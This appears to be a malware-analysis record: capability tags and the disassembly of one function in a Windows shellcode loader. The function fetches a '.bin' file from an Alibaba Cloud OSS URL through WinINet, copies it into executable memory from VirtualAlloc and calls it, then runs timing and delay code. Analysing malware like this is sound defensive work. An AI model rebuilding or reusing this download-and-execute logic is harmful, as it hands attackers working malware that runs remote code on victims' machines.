Function at 0x401680
Capabilities:
Allocate or change rwx memory
Create http request
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403570
mov eax, dword fs:[0]
push eax
mov eax, 0x1078
call fcn.004034d0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0x4011b0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
movaps xmm0, xmmword [0x4042f0]
movups xmmword [ebp - 0x68], xmm0
push 0
movaps xmm0, xmmword [0x4042e0]
movups xmmword [ebp - 0x58], xmm0
push 0
movaps xmm0, xmmword [0x4042d0]
movups xmmword [ebp - 0x48], xmm0
push 0
movaps xmm0, xmmword [str.om_F9568B2E558A49D7B97E9D44231ADnzhen.aliyuncs.cmages.oss_cn_shehttps:__zl_web_i]
movups xmmword [ebp - 0x38], xmm0
push 1
movaps xmm0, xmmword [0x4042c0]
push 0x404254
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x2e363745
mov dword [ebp - 0x14], 0x6e6962
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
mov dword [ebp - 0x107c], ebx
test ebx, ebx
je 0x401748
push 0
push 0x80000000
push 0
push 0
lea eax, [ebp - 0x68]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x401752
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x4019a7
xorps xmm0, xmm0
mov dword [ebp - 0x106c], 0
xor edi, edi
movq qword [ebp - 0x1074], xmm0
mov dword [ebp - 0x1074], 0
mov dword [ebp - 0x1070], edi
mov dword [ebp - 0x106c], edi
mov dword [ebp - 4], edi
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
nop dword [eax + eax]
lea eax, [ebp - 0x1078]
push eax
push 0x1000
lea eax, [ebp - 0x1068]
push eax
push esi
call ebx
test eax, eax
je 0x4017c9
push dword [ebp - 0x1078]
lea eax, [ebp - 0x1068]
push eax
push edi
lea ecx, [ebp - 0x1074]
call fcn.004024c0
mov edi, dword [ebp - 0x1070]
cmp dword [ebp - 0x1078], 0
ja 0x401790
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x107c]
call esi
mov esi, dword [ebp - 0x1074]
cmp esi, edi
je 0x401828
push 0x40
push 0x1000
sub edi, esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x40180d
lea edi, [eax + 1]
jmp 0x40196f
push edi
push esi
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call ebx
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__get_timestamp___n
call fcn.00401ef0
mov ecx, dword [0x7ffe0014]
mov eax, dword [0x7ffe001c]
sub ecx, 0xd53e8000
push 0
push 0x989680
sbb eax, 0
push eax
push ecx
call fcn.00403420
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64__]
mov edx, 0x404278
mov ecx, eax
call fcn.00401ef0
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, dword [0x7ffe0014]
mov ecx, edi
mov ebx, dword [0x7ffe001c]
sub ecx, 0xd53e8000
mov dword [ebp - 0x1084], eax
mov eax, ebx
push 0
push 0x989680
sbb eax, 0
push eax
push ecx
call fcn.00403420
add eax, 0xf
mov ecx, edi
mov dword [ebp - 0x1080], eax
mov eax, ebx
adc edx, 0
sub ecx, 0xd53e8000
push 0
push 0x989680
sbb eax, 0
mov dword [ebp - 0x107c], edx
push eax
push ecx
call fcn.00403420
cmp edx, dword [ebp - 0x107c]
ja 0x40193c
jb 0x4018e6
cmp eax, dword [ebp - 0x1080]
jae 0x40193c
mov esi, dword [ebp - 0x1080]
mov ecx, 0x7ffe0014
lea edx, [ecx + 8]
mov eax, dword [ebp - 0x1084]
mov edi, dword [ecx]
inc eax
mov ebx, dword [edx]
mov ecx, edi
mov dword [ebp - 0x1084], eax
sub ecx, 0xd53e8000
push 0
mov eax, ebx
push 0x989680
sbb eax, 0
push eax
push ecx
call fcn.00403420
cmp edx, dword [ebp - 0x107c]
mov ecx, 0x7ffe0014
lea edx, [ecx + 8]
jb 0x4018f4
ja 0x401936
cmp eax, esi
jb 0x4018f4
mov esi, dword [ebp - 0x1074]
push 0
sub edi, 0xd53e8000
push 0x989680
sbb ebx, 0
push ebx
push edi
call fcn.00403420
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64__]
mov edx, 0x404278
mov ecx, eax
call fcn.00401ef0
xor edi, edi
test esi, esi
je 0x4019a5
mov ecx, dword [ebp - 0x106c]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x40199b
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40199b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.0040270a
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004026cc
mov esp, ebp
pop ebp
ret